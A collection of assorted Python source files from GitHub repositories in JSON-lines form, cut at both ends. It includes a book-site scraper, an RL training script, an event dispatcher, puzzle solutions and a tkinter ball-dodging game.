price_excluding_tax=rows[2].find('td').get_text()\n number_available=rows[5].find('td').get_text()\n tableInfo1 = soup.find('ul',{\"class\": \"breadcrumb\"})\n aFind = tableInfo1.findAll('a')\n category = aFind[2].string\n if not os.path.isdir('csv'):\n os.mkdir('csv')\n with open('csv/'+nomDeFichier+'.csv','a') as result:\n #result.write('product_page_url,upc,title,price_including_tax,price_excluding_tax,number_available,product_description,category,review_rating,image_url \\n')\n result.write(url+','+UPC+','+titleProduct+','+price_including_tax+','+price_excluding_tax+','+number_available+','+descriptionProduct+','+category+','+'0'+','+image_url+'\\n')\n downloadImage(image_url,titleProduct,nomDeFichier)\n\ndef downloadImage(urlImage,NomProduit,catgorie):\n\n image_url = urlImage\n if not os.path.isdir(catgorie+'Images'):\n os.mkdir(catgorie+'Images')\n path = catgorie+'Images'+'/'+NomProduit+\".jpg\"\n r = requests.get(image_url, stream=True)\n if r.status_code == 200:\n with open(path, 'wb') as f:\n for chunk in r.iter_content(1024):\n f.write(chunk)\n\ndef scarpProduitParCategorie(urlCat,NomDeCSV):\n r = requests.get(urlCat)\n html = r.text\n soup = BeautifulSoup(html)\n NbrDelivre = soup.find('form', {\"class\": \"form-horizontal\"}).find('strong').get_text()\n nomfichier = NomDeCSV\n\n if int(NbrDelivre) <= 20:\n linkProduit = soup.find_all('div', {\"class\": \"image_container\"})\n for i in linkProduit:\n linkp = i.find('a').get('href')\n linkp1 = \"https://books.toscrape.com/catalogue/\" + linkp[9:len(linkp)]\n scrapproduit(linkp1,nomfichier)\n else:\n codePage = soup.find_all('li', {\"class\": \"current\"})\n textNbredePage = codePage[0].get_text()\n nombreDepage = int(textNbredePage.lstrip()[10:11])\n for j in range(1, nombreDepage + 1):\n j1 = str(j)\n url2 = urlCat + \"page-\" + j1 + \".html\"\n r1 = requests.get(url2)\n html1 = r1.text\n soup2 = BeautifulSoup(html1)\n linkProduit2 = soup2.find_all('div', {\"class\": \"image_container\"})\n for i1 in linkProduit2:\n link = i1.find('a').get('href')\n linkProduitdePlusieurPage = \"https://books.toscrape.com/catalogue/\" + link[9:len(link)]\n scrapproduit(linkProduitdePlusieurPage,nomfichier)","repo_name":"massouathyassine/p2","sub_path":"fonction.py","file_name":"fonction.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37071243151","text":"import colored_traceback.always\n\nfrom sandbox.rocky.tf.algos.ppo import PPO\nfrom sandbox.rocky.tf.algos.vpg import VPG\n\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline, LinearFeatureBaselineTranspose\nfrom rllab.envs.gym_env import GymEnv\nfrom sandbox.rocky.tf.envs.base import TfEnv\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.misc.instrument import run_experiment_lite\nfrom sandbox.rocky.tf.policies.gaussian_mlp_policy import SimpleGaussianMLPPolicy, GaussianMLPPolicy, GaussianMLP2Policy\nfrom sandbox.rocky.tf.policies.gaussian_conv_policy import GaussianConvPolicy\nimport tensorflow as tf\ntf.enable_eager_execution()\nfrom OverApprox.relu_approximations import relu_tanh, linearized_tanh\n\n\ndef run_task(*_):\n # Please note that different environments with different action spaces may require different\n # policies. For example with a Box action space, a GaussianMLPPolicy works, but for a Discrete\n # action space may need to use a CategoricalMLPPolicy (see the trpo_gym_cartpole.py example)\n env = TfEnv(GymEnv(\"MyPendulum-v1\", record_video=False))\n #\n policy = GaussianConvPolicy(\n name=\"policy\",\n env_spec=env.spec,\n conv_filters = [3], # how many conv layers. e.g. this is one layer with 3 fitlers (I think)\n conv_filter_sizes = [5, 5, 5],\n conv_strides = [3, 3, 3],\n conv_pads = ['SAME', 'SAME', 'SAME'],\n # The neural network policy should have two hidden layers, each with 32 hidden units.\n hidden_sizes= (16,4), #(128, 128, 128, 128, 128, 128),\n hidden_nonlinearity=tf.nn.relu, #linearized_tanh\n output_nonlinearity=None,\n )\n #\n baseline = LinearFeatureBaseline(env_spec=env.spec)\n #\n algo = PPO(\n env=env,\n policy=policy,\n baseline=baseline,\n batch_size=5, #4000,\n max_path_length=env.horizon,\n n_itr=2, #1000,\n discount=0.99,\n step_size=0.0075, # 0.01\n # Uncomment both lines (this and the plot parameter below) to enable plotting\n # plot=True,\n )\n algo.train()\n\n# profiling code\n# import cProfile, pstats, io\n# pr = cProfile.Profile()\n# pr.enable()\nrun_experiment_lite(\n run_task,\n # Number of parallel workers for sampling\n n_parallel=5,\n # Only keep the snapshot parameters for the last iteration\n snapshot_mode=\"last\",\n exp_name=\"convnet_ppo_\"+str(np.ceil(np.random.rand()*1000)),\n # Specifies the seed for the experiment. If this is not provided, a random seed\n # will be used\n seed=0,\n # plot=True,\n)\n# pr.disable()\n# s = io.StringIO()\n# sortby = 'cumulative'\n# ps = pstats.Stats(pr, stream=s).sort_stats(sortby)\n# ps.print_stats()\n# print(s.getvalue())","repo_name":"chelseas/OVERT","sub_path":"depreciated/Pre_Amir_files/train_pendulum_from_images.py","file_name":"train_pendulum_from_images.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4293458480","text":"class Cadena:\r\n def __init__(self, cadena):\r\n self.cadena= cadena\r\n self.__listaMinuscula= [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\r\n \"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\r\n self.__listaMayuscula= [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\",\r\n \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\r\n \r\n def fin_encontrar(self,buscar):\r\n for i,v in enumerate(self.cadena):\r\n if v==buscar:\r\n return i #\"ERROR\"-->Como busca posición debe ir [i], porque [v] es valor\r\n return -1\r\ncadena= input(\"Ingrese un cadena: \")\r\nc=Cadena(cadena)\r\nbuscar= input(\"Ingrese el caracter a buscar: \")\r\nprint(c.fin_encontrar(buscar))","repo_name":"Evelyn-agv/Ejercicios.Extra-POO","sub_path":"examen/pregunta 1.py","file_name":"pregunta 1.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"pms","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39124883127","text":"import re\n\ndef parse_line(line):\n parent = re.search(r'^(\\w+ \\w+)', line).group()\n children = re.findall(r'(\\d+) (\\w+ \\w+)', line)\n rule = {}\n for nbr_of, child in children:\n rule[child] = int(nbr_of)\n return {parent:rule}\n\ndef may_contain(color, parent, rules):\n if color in rules[parent]:\n return True\n for child in rules[parent]:\n if may_contain(color, child, rules):\n return True\n return False\n\ndef nbr_of_bags_within(parent, rules):\n count = 0\n for child, nbr_of in rules[parent].items():\n count += nbr_of * (1 + nbr_of_bags_within(child, rules))\n return count\n\nwith open('input.txt', 'r') as f:\n data = f.read()\n\nrules = {}\nfor line in data.split('\\n'):\n rules |= parse_line(line)\n\nsum1 = sum(may_contain('shiny gold', r, rules) for r in rules)\nsum2 = nbr_of_bags_within('shiny gold', rules)\n\nprint(\"Part 1: \", sum1)\nprint(\"Part 2: \", sum2)\n\n#Part 1: 238\n#Part 2: 82930\n","repo_name":"yoggi-yalla/aoc2020","sub_path":"07/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15512211081","text":"\"\"\"\nAnalysis of motor movement\nInput is csv file (motorFile) output is also csv file\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\nfrom matplotlib import pyplot as plt\n\n# making a mini dataframe with fake data\n# fake_motor_data = {'command':[0,10,15,-5,-10,-15,0], 'time':[0,1,2,3,4,5,6]}\n# motor_df = pd.DataFrame(fake_motor_data, columns = ['command','time' ])\n# print(motor_df)\n\n\ndef motor_direction(commandfile):\n \"\"\"\n Determines the direction (clockwise/counterclockwise)\n of visual stimuli delivered using a command signal\n\n :param pd.DataFrame commandfile:\n :return:\n \"\"\"\n # save the array containing commandvalues as a new column\n command_column = commandfile['command']\n print(command_column)\n cmd = command_column.values\n print(cmd)\n\n # calculate the direction by determining the change from current command to the next command\n\n direction = np.zeros((cmd.size - 1)) # -1 because diff\n direction[cmd[:-1] < cmd[1:]] = 1\n direction[cmd[:-1] > cmd[1:]] = -1\n print(direction)\n\n # add a time array\n length_direction_array = np.size(direction)\n print(\"length of direction array is:\", length_direction_array)\n time = np.arange(length_direction_array)\n print(time)\n\n # make a dataframe of all the data\n real_motor_df = pd.DataFrame({\"command\": cmd[:-1],\n \"direction\": direction,\n \"time\": time})\n\n plt.plot(real_motor_df['command'])\n plt.plot(real_motor_df['direction'])\n plt.show()\n\n print(real_motor_df)\n\n real_motor_df.to_csv(\"direction_motor.csv\", sep=\",\")\n return real_motor_df\n\n\n# fake test data\ntest_cmd_df = pd.DataFrame({'command': np.array([0, 1, 2, 3, 7, -7, 8, 9, -2, -20, -25])})\n\n\n# actual data\nif __name__ == '__main__':\n command_df = pd.read_csv('studentCourse_command.csv')\n motor_direction(command_df)\n","repo_name":"Timothysit/swc_invivo_analysis","sub_path":"motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28447291362","text":"import re\nimport uvicore\nimport inspect\nimport asyncio\nfrom uvicore.typing import Dict, List, Any, Union, Callable, Tuple\nfrom uvicore.support.dumper import dump, dd\nfrom types import SimpleNamespace as obj\nfrom collections import namedtuple\nfrom uvicore.contracts import Dispatcher as DispatcherInterface\nfrom uvicore.support import module\nfrom uvicore.support.concurrency import run_in_threadpool\n\n#from uvicore.contracts import Event as EventInterface\n# from prettyprinter import pretty_call, register_pretty\n# class EventInfo(EventInterface):\n# \"\"\"Event Definition\"\"\"\n# # These class level properties for for type annotations only.\n# # They do not restrict of define valid properties like a dataclass would.\n# # This is still a fully dynamic SuperDict!\n# name: str\n# description: str\n# dynamic: bool\n# is_async: bool\n# options: Dict\n\n\n# @register_pretty(EventInfo)\n# def pretty_entity(value, ctx):\n# \"\"\"Custom pretty printer for my SuperDict\"\"\"\n# # This printer removes the class name uvicore.types.Dict and makes it print\n# # with a regular {. This really cleans up the output!\n\n# #return pretty_call(ctx, 'Dict', **value)\n# #return pretty_call(ctx, 'Dict', value.to_dict()) # Does show nested dicts as SuperDicts\n# return pretty_call(ctx, 'EventInfo', dict(**value))\n\n@uvicore.service('uvicore.events.dispatcher.Dispatcher',\n aliases=['Dispatcher', 'dispatcher', 'Event', 'event'],\n singleton=True,\n)\nclass Dispatcher(DispatcherInterface):\n \"\"\"Event Dispatcher private class.\n\n Do not import from this location.\n Use the uvicore.events singleton global instead.\"\"\"\n\n # @property\n # def events(self) -> Dict[str, EventInfo]:\n # \"\"\"Dictionary of all registered events in uvicore and all packages\"\"\"\n # return self._events\n\n @property\n def listeners(self) -> Dict[str, List]:\n \"\"\"Dictionary of all listeners for each event\"\"\"\n return self._listeners\n\n @property\n def wildcards(self) -> List:\n \"\"\"List of all wildcard listeners\"\"\"\n return self._wildcards\n\n def __init__(self) -> None:\n self._events: Dict[str, EventInfo] = Dict()\n self._listeners: Dict[str, List] = Dict()\n self._wildcards: List = []\n\n @property\n def registered_events(self) -> List:\n \"\"\"Get all registered events from IOC bindings and manual registrations\"\"\"\n # FIXME, need to merge in manual registrations, which I don't have yet\n event_bindings = uvicore.ioc.binding(type='event')\n events = []\n for binding in event_bindings.values():\n events.append({\n 'name': binding.path,\n 'description': binding.object.__doc__,\n 'is_async': binding.object.is_async,\n })\n return events\n\n\n # def event(self, event: Union[str, Callable]) -> EventInfo:\n # \"\"\"Get one known (pre-registered) EventInfo by str name or class\"\"\"\n # if type(event) == str:\n # # Get event by a string name\n # name = event\n # else:\n # # Get event by a class, use the class name as the event string name\n # #name = str(event.__class__).split(\"'\")[1]\n # name = event.name\n # if name in self.events:\n # return self.events.get(name)\n # else:\n # # This event is NOT registered, but we still want it to work\n # # because of all the dynamic events like ORM makes\n # # So create a fake event meta\n # return Dict({\n # 'name': name\n # })\n\n @property\n def expanded_sorted_listeners(self) -> List:\n \"\"\"Get all listeners with expanded wildcards, sorted by priority ASC\"\"\"\n\n # WELL, this doesn't really work because it only merged wildcards into\n # events that are already explicitly listened too\n # like uvicore.foundation.events.app.* only shows up under Booted\n # not Registered because no other event has explicitly listened to\n # Registered. I could look up self.registered_events as well\n # but this is really only for the CLI event listeners, so maybe Ill skip\n\n listeners = {}\n for event, listener in self.listeners.items():\n if '*' not in event:\n listeners[event] = listener\n\n for wildcard in self.wildcards:\n if re.search(wildcard, event):\n if event not in listeners:\n listeners[event] = []\n listeners[event].extend(self.listeners[wildcard])\n break\n\n return listeners\n\n def event_listeners(self, event: str) -> List:\n \"\"\"Get all listeners for an event including wildcard, sorted by priority ASC\"\"\"\n\n # Get all listeners for this particular event\n listeners = [x for x in self.listeners.get(event) or []]\n\n # Add in wildcard events\n for wildcard in self.wildcards:\n regex = wildcard\n if re.search(regex, event):\n listeners.extend(self.listeners[wildcard])\n\n # Sort listeners by priority\n listeners = sorted(listeners, key = lambda i: i['priority'])\n\n # Get just the listener handler strings/methods as List\n handlers = [x['listener'] for x in listeners]\n\n # Return these event handlers\n return handlers\n\n def listen(self, events: Union[str, List], listener: Union[str, Callable] = None, *, priority: int = 50) -> None:\n \"\"\"Decorator or method to append a listener (string or Callable) callback to one or more events.\"\"\"\n def handle(events, listener):\n if type(events) != list: events = [events]\n\n # Expand all wildcards\n for event in events:\n # Get the string name of this event\n if type(event) != str: event = event.name\n\n # If event not registered yet, ensure empty []\n if event not in self.listeners:\n self._listeners[event] = []\n\n # Append new listener to event\n self._listeners[event].append({'listener': listener, 'priority': priority})\n\n # If event contains a *, add it to our wildcard list for use later\n if '*' in event:\n self._wildcards.append(event)\n\n # Method access\n if listener: return handle(events, listener)\n\n # Decorator access\n def decorator(func):\n handle(events, func)\n return func\n return decorator\n\n def handle(self, events: Union[str, List], listener: Union[str, Callable] = None, *, priority: int = 50) -> None:\n \"\"\"Decorator or method to append a listener (string or Callable) callback to one or more events. Alias to listen().\"\"\"\n return self.listen(events, listener)\n\n def subscribe(self, listener: Union[str, Callable]) -> None:\n \"\"\"Add a subscription class which handles both registration and listener callbacks\"\"\"\n try:\n if type(listener) == str:\n module.load(listener).object().subscribe(uvicore.events)\n else:\n listener.subscribe(uvicore.events)\n except ModuleNotFoundError:\n pass\n\n def dispatch(self, event: Union[str, Callable], payload: Dict = {}) -> None:\n \"\"\"Fire off an event and run all listener callbacks\"\"\"\n\n # Get dispatcher method for this event\n dispatch_method, params = self._get_dispatcher(event, payload, is_async=False)\n\n # Dispatch this event\n dispatch_method(*params)\n\n async def dispatch_async(self, event: Union[str, Callable], payload: Dict = {}) -> None:\n \"\"\"Async fire off an event and run all async listener callbacks\"\"\"\n\n # Get dispatcher method for this event\n dispatch_method, params = self._get_dispatcher(event, payload, is_async=True)\n\n # Dispatch this event\n await dispatch_method(*params)\n\n async def codispatch(self, event: Union[str, Callable], payload: Dict = {}) -> None:\n \"\"\"Alias for dispatch_async().\"\"\"\n return await self.dispatch_async(event, payload)\n\n def _dispatch(self, event: Union[str, Callable], payload: Dict = {}) -> None:\n \"\"\"Dispatch an event by fireing off all listeners/handlers\"\"\"\n (event, handlers) = self._get_handlers(event, payload)\n for handler in handlers:\n handler(event)\n\n async def _dispatch_async(self, event: Union[str, Callable], payload: Dict = {}) -> None:\n \"\"\"Dispatch an event by fireing off all listeners/handlers\"\"\"\n (payload, handlers) = self._get_handlers(event, payload)\n for handler in handlers:\n if asyncio.iscoroutinefunction(handler) or asyncio.iscoroutinefunction(handler.__call__):\n await handler(event)\n else:\n # Listener/handler is NOT async but was called from await, lets throw in thread pool\n await run_in_threadpool(handler, event)\n\n def _get_dispatcher(self, event: Union[str, Callable], payload: Dict = {}, is_async: bool = False) -> Tuple:\n \"\"\"Get dispatcher method for this event\"\"\"\n # This function determines the proper dispatching method for this event.\n # If event is a string, we use self._dispatch\n # If event is a class we call that classes .dispatch method\n method = None\n params = [event, payload]\n if type(event) == str:\n if '-' in event or '{' in event:\n # String event (we know because classes can't have dashes or {.\n # This is how we name dynamic string based events like per model or table...\n method = self._dispatch_async if is_async else self.dispatch\n else:\n # See if string event has a matching class. If so, import and dispatch it\n try:\n event = module.load(event).object(**payload)\n params = []\n method = event.dispatch_async if is_async else event.dispatch\n except:\n # No class found for this string. This is OK because events can\n # be strings without matching classes. Dispatch it anyway\n method = self._dispatch_async if is_async else self._dispatch\n else:\n # Event is an event class INSTANCE. Call the actual classes dispatch method\n # in case the user overrode it, we still execute it\n params = []\n method = event.dispatch_async if is_async else event.dispatch\n\n # Return tuple of dispatcher method and params\n return (method, params)\n\n def _get_handlers(self, event: Union[str, Callable], payload: Dict = {}) -> Tuple:\n \"\"\"Get all listener/handlers and fix up payload\"\"\"\n # Get event by string name or class inspection\n #event_meta = self.event(event)\n\n if type(event) == str:\n # String based event, merge payload with default event\n event = Dict(payload).merge({\n 'name': event,\n 'description': 'String based dynamic event.'\n })\n\n # Payload default is a SuperDict\n #payload = Dict(payload)\n\n # If event is a class, payload is the class instance\n #if type(event) != str: payload = event\n\n # Get listener methods (dynamic import if string)\n listeners = self.event_listeners(event.name)\n handlers = []\n for handler in listeners:\n if type(handler) == str:\n # handler is a string to a listener class with handle() method\n try:\n #cls = module.load(listener).object(uvicore.app)\n cls = module.load(handler).object()\n handlers.append(cls)\n #handlers.append(cls.handle)\n except ModuleNotFoundError:\n # Bad handler, handler will never fire\n continue\n else:\n # handler is a Class\n if inspect.isclass(handler): handler = handler()\n\n # Listener is a Callable (if was a class, NOW its callable)\n handlers.append(handler)\n\n # Return tuple of event and handlers\n #return (event_meta, payload, handlers)\n return (event, handlers)\n\n\n# IoC Class Instance\n# **Not meant to be imported from here**. Use the uvicore.events singleton global instead.\n# Only here because uvicore bootstrap needs to import it without a service provider.\n# By using the default bind and make feature of the IoC we can swap the implimentation\n# at a high bootstrap level using our app configs 'bindings' dictionary.\n# The only two classes that do this are Application and the event Dispatcher.\n#Dispatcher: _Dispatcher = uvicore.ioc.make('Dispatcher', _Dispatcher, singleton=True, aliases=['dispatcher', 'Event', 'event', 'Events', 'events'])\n","repo_name":"uvicore/framework","sub_path":"uvicore/events/dispatcher.py","file_name":"dispatcher.py","file_ext":"py","file_size_in_byte":13029,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"7835970589","text":"counter = 0\nanswersList = []\n\nwith open('input.txt') as file:\n data = file.read().split('\\n\\n')\n for line in data:\n line = line.split()\n answersSets = []\n for answer in line:\n answersSets.append(set(answer))\n answersList.append(answersSets)\n\nfor answers in answersList:\n counter += len(set.intersection(*answers))\n\nprint(counter)","repo_name":"Kijek3/AoC-2020","sub_path":"6/script2_intersection.py","file_name":"script2_intersection.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13687896201","text":"import heapq\nimport numpy as np\n\nfrom umap import UMAP\n\nfrom bertopic import BERTopic\nfrom bertopic.vectorizers import ClassTfidfTransformer\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nfrom utils.tools import get_score\nfrom topic.segmenter import SegmenterInterface\n\n\nclass BERTopicModel(SegmenterInterface):\n def __init__(self, max_len, doc_len_threshold, n_gram_range=(3, 5)):\n self.max_len = max_len\n self.doc_len_threshold = doc_len_threshold\n\n self.umap_model = UMAP(random_state=42)\n self.vectorizer_model = CountVectorizer(stop_words=\"english\")\n self.ctfidf_model = ClassTfidfTransformer(reduce_frequent_words=True)\n self.topic_model = BERTopic(\n nr_topics=\"auto\",\n umap_model=self.umap_model,\n vectorizer_model=self.vectorizer_model,\n ctfidf_model=self.ctfidf_model,\n n_gram_range=n_gram_range)\n self.subtopic_model = BERTopic(\n nr_topics=None, \n vectorizer_model=self.vectorizer_model,\n ctfidf_model=self.ctfidf_model, \n n_gram_range=n_gram_range)\n\n def get_topic_df(self, data):\n \"\"\"\n Returns the topics and their information for the given data.\n\n Args:\n data: A list of strings representing the input data.\n\n Returns:\n A dataframe containing the topics for each turn and its specific information.\n \"\"\"\n topics, _ = self.topic_model.fit_transform(data)\n try:\n _ = self.topic_model.reduce_outliers(data, topics)\n except ValueError:\n pass\n topic_df = self.topic_model.get_document_info(data)\n return topic_df\n \n def get_subtopic_df(self, data):\n \"\"\"\n Returns the subtopics and their information for the give topic turns.\n\n Args:\n data: A list of strings representing the topic.\n\n Returns:\n A dataframe containing the subtopics for each turn and its specific information.\n \"\"\"\n self.subtopic_model.fit_transform(data)\n subtopic_df = self.subtopic_model.get_document_info(data)\n return subtopic_df\n \n def get_topic_len(self, df):\n return df.groupby('Topic')['utter_speaker'].apply(lambda x: sum(len(t.split()) for t in x)).sort_values(ascending=False)\n\n def iterative_recluster(self, df):\n skipped_idx = []\n topic_len = self.get_topic_len(df)\n exc_idx = topic_len[topic_len > self.max_len].index.tolist()\n \n while exc_idx and exc_idx != skipped_idx:\n for idx in exc_idx:\n if idx not in skipped_idx:\n topic_df = df[df['Topic'] == idx]\n text = topic_df['Document'].values.tolist()\n try:\n subtopic_df = self.get_subtopic_df(text)\n subtopics = subtopic_df['Topic'].unique().tolist()\n except (TypeError, ValueError) as e:\n skipped_idx.append(idx)\n continue\n if len(subtopics) == 1:\n skipped_idx.append(idx)\n else:\n subtopic_df.index = topic_df.index\n subtopic_df['Topic'] = subtopic_df['Topic'] + topic_len.index.max() + 2\n df.loc[subtopic_df.index, 'Topic'] = subtopic_df['Topic']\n topic_len = self.get_topic_len(df)\n exc_idx = topic_len[topic_len > self.max_len].index.tolist()\n break\n \n for topic in exc_idx:\n rows = df[df['Topic'] == topic]\n subtopics = []\n subtopic_len = 0\n subtopic_buffer = []\n \n for idx, row in rows.iterrows():\n # compute score for the row\n score = get_score(row['Document'])\n \n # if adding the row to the subtopic buffer exceeds the max_len, \n # assign a new topic to the subtopic buffer and add it to the dataframe\n if subtopic_len + score > self.max_len:\n new_topic = topic_len.index.max() + 2\n df.loc[subtopic_buffer, 'Topic'] = new_topic\n subtopics.append(new_topic)\n subtopic_buffer = [idx]\n subtopic_len = score\n else:\n subtopic_buffer.append(idx)\n subtopic_len += score\n \n # assign a new topic to the final subtopic buffer if it exists\n if subtopic_buffer:\n new_topic = topic_len.index.max() + 2\n df.loc[subtopic_buffer, 'Topic'] = new_topic\n subtopics.append(new_topic)\n\n return df\n \n def remove_noise_topic(self, df):\n # iterate through each topic and compute average document length\n for topic in df['Topic'].unique():\n topic_docs = df[df['Topic'] == topic]['Document']\n \n # remove stopwords from documents and compute their length\n doc_lengths = [get_score(doc) for doc in topic_docs]\n \n # compute average document length\n avg_doc_len = sum(doc_lengths) / len(doc_lengths)\n \n # remove rows belonging to topic if average document length is below threshold\n if avg_doc_len < self.doc_len_threshold:\n df = df[df['Topic'] != topic]\n \n return df\n \n def rearrange_topic_value(self, df):\n unique_topics = df['Topic'].unique()\n topic_map = {topic: idx for idx, topic in enumerate(sorted(unique_topics))}\n df['Topic'] = df['Topic'].map(topic_map)\n\n return df\n \n def segmentize(self, input_data, **kwargs):\n df = self.get_topic_df(input_data['utter'])\n df['utter_speaker'] = input_data['utter_speaker']\n\n df = self.iterative_recluster(df)\n \n remove_noise = kwargs.get('remove_noise', True)\n if remove_noise:\n df = self.remove_noise_topic(df)\n df = self.rearrange_topic_value(df)\n\n topics = df['Topic'].unique() # get unique topics in the dataframe\n topic_order = [] # initialize list to store the order of topics\n\n # iterate over rows in the dataframe to determine topic order\n for _, row in df.iterrows():\n if row['Topic'] not in topic_order: # if topic not yet in order list, add it\n topic_order.append(row['Topic'])\n\n # create list of texts joined by '\\n' for each unique topic in the order determined above\n texts = []\n for topic in topic_order:\n topic_df = df[df['Topic']==topic]\n text = '\\n'.join(topic_df['utter_speaker'].tolist())\n texts.append(text)\n \n return texts\n","repo_name":"faizghifari/summ-twice","sub_path":"topic/bertopic.py","file_name":"bertopic.py","file_ext":"py","file_size_in_byte":6896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44473797658","text":"class Node(object):\n def __init__(self, data, next=None):\n self.data = data\n self.next = next\n\n\nclass Stack(object):\n def __init__(self, top=None):\n self.top = top\n\n def push(self, data):\n self.top = Node(data, self.top)\n\n def pop(self):\n if self.top is None:\n return None\n data = self.top.data\n self.top = self.top.next\n return data\n\n def peek(self):\n return self.top.data if self.top is not None else None\n\n def is_empty(self):\n return self.peek() is None\n\n\nclass MyStack(Stack):\n def sort(self):\n buff = MyStack()\n while not self.is_empty():\n temp = self.pop()\n if buff.is_empty() or temp >= buff.peek():\n buff.push(temp)\n else:\n while not buff.is_empty() and temp < buff.peek():\n self.push(buff.pop())\n buff.push(temp)\n return buff\n\n\nclass MyStackSimplified(Stack):\n def sort(self):\n buff = MyStack()\n while not self.is_empty():\n temp = self.pop()\n while not buff.is_empty() and temp < buff.peek():\n self.push(buff.pop())\n buff.push(temp)\n return buff\n","repo_name":"labex-labs/open-source-labs","sub_path":"python/interactive-coding-challenges/challenge-sort-stack/solutions/sort_stack.py","file_name":"sort_stack.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"16835701843","text":"# Ask for your weight\r\nimport math\r\n\r\nweight = input(\"What's your weight? \")\r\n\r\n# Ask for measure\r\nunit = input(\"Select unit: Pounds(L) or Kilograms(K) \")\r\n\r\n# Conditional structure\r\nif unit.upper() == \"L\":\r\n print(f'You are {math.floor(float(weight)*0.45)} kg')\r\nelif unit.upper() == \"K\":\r\n print(f'You are {math.floor(float(weight) / 0.45)} lbs')\r\nelse:\r\n print(\"No measure selected.\")\r\n","repo_name":"Darthpaul0/Python","sub_path":"Exercises/weightConverter.py","file_name":"weightConverter.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5530274830","text":"# TODO:\n# add list score\n# add restart after loose\n# add possibility to decide how many ball in the Game\n\n\n# needed for the tkinter party and creating balls\n# import tkinter\nfrom tkinter import *\nimport random\nimport time\n\n# constant for widget hight and width\nWIDTH = 700\nHIGHT = 600\n\n# crating the tkinter canvas with high and width\ntk = Tk()\ncanvas = Canvas(tk, width=WIDTH, height=HIGHT)\ntk.title(\"Avoid Game\")\ncanvas.pack()\n\n# Timer\nfrom timeit import default_timer\n\n\ndef updateTime():\n now = default_timer() - start\n minutes, secondes = divmod(now, 60)\n houres, minutes = divmod(minutes, 60)\n str_time = \" %d : %02d : %02d \" % (houres, minutes, secondes)\n canvas.itemconfigure(text_clock, text=str_time)\n # tk.after(1000,updateTime)\n\n\nstart = default_timer()\ntext_clock = canvas.create_text(500, 20)\n\n# creating ball class that create an oval with size color etc\n\n\nclass Ball:\n # kind of constructor\n def __init__(self, color, size):\n self.shape = canvas.create_oval(10, 10, size, size, fill=color)\n self.xSpeed = random.uniform(-3.5, 3.5)\n self.ySpeed = random.uniform(-3.5, 3.5)\n # avoid geting a deth ball that don't move\n if self.xSpeed == 0:\n self.xSpeed = random.uniform(-3.5, 3.5)\n if self.ySpeed == 0:\n self.ySpeed = random.uniformu(-3.5, 3.5)\n # method that move the ball\n\n def move(self):\n canvas.move(self.shape, self.xSpeed, self.ySpeed)\n pos = canvas.coords(self.shape)\n if pos[3] >= HIGHT or pos[1] <= 0:\n self.ySpeed = -self.ySpeed\n if pos[2] >= WIDTH or pos[0] <= 0:\n self.xSpeed = -self.xSpeed\n return pos\n\n\n# Ball color that will be in the list colors\ncolors = ['red', 'green', 'orange', 'yellow', 'red', 'cyan', 'magenta',\n 'dodgerblue', 'turquoise', 'grey', 'gold', 'pink']\n\n# creating ball list emty\nballs = []\n\n# filling the ball list with multiple ball\nfor i in range(40):\n balls.append(Ball(random.choice(colors), 45))\n\n# Cord of mouse\nx = tk.winfo_pointerx()\ny = tk.winfo_pointery()\nabs_coord_x = tk.winfo_pointerx() - tk.winfo_rootx()\nabs_coord_y = tk.winfo_pointery() - tk.winfo_rooty()\n\n# Creation of rec\nrec = canvas.create_rectangle(\n abs_coord_x - 15, abs_coord_y - 15, abs_coord_x + 15, abs_coord_y + 15, fill='black')\n\n# Moving the balls and updating the canvas to have a smooth view\n\n\ndef moveBall():\n A = True\n while A:\n # updating mouse cords\n x = tk.winfo_pointerx()\n y = tk.winfo_pointery()\n abs_coord_x = tk.winfo_pointerx() - tk.winfo_rootx()\n abs_coord_y = tk.winfo_pointery() - tk.winfo_rooty()\n # moving rec\n rectCord = canvas.coords(\n rec, abs_coord_x - 15, abs_coord_y - 15, abs_coord_x + 15, abs_coord_y + 15)\n # moving balls\n for ball in balls:\n cordOval = ball.move()\n if cordOval[3] <= abs_coord_y + 47 and cordOval[1] >= abs_coord_y - 47 and cordOval[2] <= abs_coord_x + 47 and cordOval[0] >= abs_coord_x - 47:\n # print('touched at :\\n \\t cursor in : \\n \\t\\t x1 = ', abs_coord_x - 15, ' x2 = ', abs_coord_x + 15, ' y1 = ', abs_coord_y - 15, ' y2 = ', abs_coord_y +\n # 15, ' \\n \\t ball in :\\n \\t\\t cordOval[0] = ', cordOval[0], 'cordOval[1] = ', cordOval[1], 